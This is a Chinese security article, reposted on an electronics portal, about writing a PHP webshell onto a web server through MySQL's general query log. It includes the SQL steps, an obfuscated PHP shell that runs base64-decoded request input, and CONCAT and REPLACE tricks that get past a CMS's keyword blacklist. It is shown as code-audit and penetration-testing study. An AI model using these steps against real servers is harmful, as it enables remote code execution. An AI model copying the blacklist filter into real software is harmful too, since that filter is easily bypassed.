0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

SQL语句利用日志写shell及相关绕过

jf_hKIAo4na 来源:Mi1k7ea 2023-02-03 17:32 次阅读

0x01 基本原理

在能够写SQL语句的地方,outfile、dumpfile、drop database等都被禁止,一般进行SQL注入来getshell或删库的方式行不通了。

但是如果MySQL是root用户启动的,那么可以进行如下利用:

show variables like '%general%';  #查看配置


set global general_log = on;  #开启general log模式


set global general_log_file = '/var/www/html/1.php';   #设置日志目录为shell地址


select ''  #写入shell

SQL查询免杀shell的语句(参考:SQL语句利用日志写shell):

SELECT"'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a=array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_='a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"

0x02 Bypass案例

这个案例虽然鸡肋,但是思路还可以。

过滤 .php

代码审计某CMS时,看到一处写SQL语句的地方,此处之前报过漏洞,修复方案是过滤了outfile、dumpfile、drop database等,此外还过滤了.php字符串,为的就是防住SQL语句日志写shell:

if(stristr($sql, 'outfile')){
    $str = 'ERROR : 检测到非法字符 “outfile”!';
    break;
}
if(stristr($sql, 'dumpfile')){
    $str = 'ERROR : 检测到非法字符 “dumpfile”!';
    break;
}
if(stristr($sql, '.php')){
    $str = 'ERROR : 检测到非法字符 “.php” !';
    break;
}
if(preg_match("/^drop(.*)database/i", $sql)){
    $str = 'ERROR : 不允许删除数据库!';
    break;
}

这里直接写上述的SQL语句肯定是不行的,因为set global general_log_file = '/var/www/html/1.php';的.php会被过滤掉。

这里只是针对字符串的检测,可以用字符串拼接的方式Bypass,这里可以使用SQL语句中的concat家族系列函数来实现字符串拼接来Bypass:

show variables like '%general%';   #查看配置


set global general_log = on;        #开启general log模式


set global general_log_file =CONCAT("/var/www/html/1.","php"); 


select '';   #写入shell

过滤 .php和concat

在这次报过的漏洞之后,CMS厂商修改了这个洞,就是添加了对concat的字符串过滤,这样concat家族系列函数就使不上了。

if(stristr($sql, 'outfile')){
    $str = 'ERROR : 检测到非法字符 “outfile”!';
    break;
}
if(stristr($sql, 'dumpfile')){
    $str = 'ERROR : 检测到非法字符 “dumpfile”!';
    break;
}
if(stristr($sql, '.php')){
    $str = 'ERROR : 检测到非法字符 “.php” !';
    break;
}
if(stristr($sql, 'concat')){
    $str = 'ERROR : 检测到非法字符 “concat” !';
    break;
}
if(preg_match("/^drop(.*)database/i", $sql)){
    $str = 'ERROR : 不允许删除数据库!';
    break;
}

使用concat进行字符串拼接的方式没法绕过了,但是除了字符串拼接,我们还能使用字符串替换的操作来绕过:

show variables like '%general%';   #查看配置


set global general_log = on;        #开启general log模式


set global general_log_file =REPLACE("/var/www/html/1.jpg","jpg","php"); 


select '';   #写入shell

过滤 .php、concat和replace

CMS厂商收到新的绕过漏洞报告后,又进行新一轮的修复,过滤了replace:

if(stristr($sql, 'outfile')){
    $str = 'ERROR : 检测到非法字符 “outfile”!';
    break;
}
if(stristr($sql, 'dumpfile')){
    $str = 'ERROR : 检测到非法字符 “dumpfile”!';
    break;
}
if(stristr($sql, '.php')){
    $str = 'ERROR : 检测到非法字符 “.php” !';
    break;
}
if(stristr($sql, 'concat')){
    $str = 'ERROR : 检测到非法字符 “concat” !';
    break;
}
if(stripos($sql, 'replace')){
    $str = 'ERROR : 检测到非法字符 “replace” !';
    break;
}
if(preg_match("/^drop(.*)database/i", $sql)){
    $str = 'ERROR : 不允许删除数据库!';
    break;
}

字符串拼接和替换都不能成功进行利用了,还有啥办法不?

当然还有新的Bypass方法哈哈。

作者:Mi1k7ea

菜鸟学安全

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • SQL
    SQL
    +关注

    关注

    1

    文章

    738

    浏览量

    43468
  • MySQL
    +关注

    关注

    1

    文章

    776

    浏览量

    26012
  • 日志
    +关注

    关注

    0

    文章

    126

    浏览量

    10526
  • Shell
    +关注

    关注

    1

    文章

    358

    浏览量

    22903
  • Bypass
    +关注

    关注

    0

    文章

    7

    浏览量

    5561

原文标题:SQL语句利用日志写shell及相关绕过

文章出处:【微信号:菜鸟学安全,微信公众号:菜鸟学安全】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    利用ChatGPT通过Shell脚本来实现日志分析

    ChatGPT自出道以来,其出色的代码能力被众多程序员追捧,今天浩道就运维工作中常见的日志分析场景,利用ChatGPT让它通过Shell脚本来实现日志分析
    的头像 发表于 04-07 09:09 2533次阅读

    SQL语句生成器

    SQL语句生成器SQL数据库语句生成及分析器(支持表结构、索引、所有记录到SQL脚本)可用于数据数的备份和恢复!功能不用多说,试试就知道了
    发表于 06-12 16:15

    关于labview中的SQL语句写法

    我的问题是:比如说要查询数据库中的时间在20120806-20130105之间的数据 ,用vi程序查询,那么SQL query语句该怎么? 求大神帮忙???谢谢
    发表于 01-05 22:09

    SQL语句的两种嵌套方式

    一般情况下,SQL语句是嵌套在宿主语言(如C语言)中的。有两种嵌套方式:1.调用层接口(CLI):提供一些库,库中的函数和方法实现SQL的调用2.直接嵌套SQL:在代码中嵌套
    发表于 05-23 08:51

    区分SQL语句与主语言语句

    为了区分SQL语句与主语言语句,所有SQL 语句必须加前缀EXEC SQL处理过程:含嵌入式
    发表于 10-28 08:44

    为什么要动态sql语句

    为什么要动态sql语句?因为动态sql语句能够提供一些比较友好的机制1、可以使得一些在编译过程中无法获得完整的sql
    发表于 12-20 06:00

    shell流程控制语句相关资料分享

    shell流程控制语句一、if条件语句二、case条件语句(猜拳游戏)三.for语句循环四.expr命令五.while循环六.until循环
    发表于 12-22 06:43

    嵌入式SQL语句与主语言之间的通信

    嵌入式SQL嵌入式SQL语句与主语言之间的通信为了区分SQL语句与主语言语句,所有
    发表于 12-22 07:44

    数据库SQL语句电子教程

    电子发烧友为您提供了数据库SQL语句电子教程,帮助您了解数据库 SQL语句 ,学习读懂数据库SQL语句
    发表于 07-14 17:09 0次下载

    如何使用navicat或PHPMySQLAdmin导入SQL语句

    很多朋友问我们怎么导入SQL语句,这是新人最需要知道的东西,现制作图文教程,希望对新手有所帮助,顺便文末附SQL语句导入导出大全,高手可以提供更加详细的教程。
    发表于 04-10 15:06 2次下载

    如何使用SQL修复语句程序说明

    本文档的主要内容详细介绍的是如何使用SQL修复语句程序说明。
    发表于 10-31 15:09 5次下载

    嵌入式SQL语句

    为了区分SQL语句与主语言语句,所有SQL 语句必须加前缀EXEC SQL处理过程:含嵌入式
    发表于 10-21 11:51 4次下载
    嵌入式<b class='flag-5'>SQL</b><b class='flag-5'>语句</b>

    sql server执行os-shell

    条件:数据库权限必须是dba权限可利用sql-shll进行命令执行,部分常用ql语句
    的头像 发表于 10-24 17:42 1603次阅读

    sql查询语句大全及实例

    SQL(Structured Query Language)是一种专门用于数据库管理系统的标准交互式数据库查询语言。它被广泛应用于数据库管理和数据操作领域。在本文中,我们将为您详细介绍SQL查询语句
    的头像 发表于 11-17 15:06 662次阅读

    oracle执行sql查询语句的步骤是什么

    Oracle数据库是一种常用的关系型数据库管理系统,具有强大的SQL查询功能。Oracle执行SQL查询语句的步骤包括编写SQL语句、解析
    的头像 发表于 12-06 10:49 417次阅读